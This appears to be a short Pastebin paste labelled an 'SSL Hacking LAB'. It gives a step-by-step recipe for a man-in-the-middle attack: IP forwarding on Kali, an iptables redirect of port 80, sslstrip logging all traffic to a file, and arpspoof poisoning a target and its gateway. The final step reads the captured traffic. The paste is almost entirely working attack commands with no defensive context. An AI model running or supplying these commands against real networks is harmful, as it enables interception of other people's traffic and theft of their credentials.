Advertisement
Guest User

Untitled

a guest
Jul 24th, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. SSL Hacking LAB
  2. ####################################################################################
  3.  
  4. step 1) you need to make your KAli Linux behave as a router
  5.  
  6. echo "1" > /proc/sys/net/ipv4/ip_forward
  7.  
  8. step 2)
  9.  
  10. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  11.  
  12.  
  13. step 3)
  14.  
  15. run sslstrip ### many examples ....
  16.  
  17. sslstrip -w capture.txt -a -l 10000 < dont close the terminal
  18.  
  19. sslstrip 0.9 by Moxie Marlinspike
  20. Usage: sslstrip <options>
  21.  
  22. Options:
  23. -w <filename>, --write=<filename> Specify file to log to (optional).
  24. -p , --post Log only SSL POSTs. (default)
  25. -s , --ssl Log all SSL traffic to and from server.
  26. -a , --all Log all SSL and HTTP traffic to and from server.
  27. -l <port>, --listen=<port> Port to listen on (default 10000).
  28. -f , --favicon Substitute a lock favicon on secure requests.
  29. -k , --killsessions Kill sessions in progress.
  30. -h Print this help message.
  31.  
  32. step 4)
  33.  
  34. spoof the gateway and target
  35.  
  36. arpspoof -i eth0 -t 172.16.254.247 172.16.254.2 < dont close the terminal
  37.  
  38.  
  39. step 5) cat capture.txt
  40.  
  41. ########################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement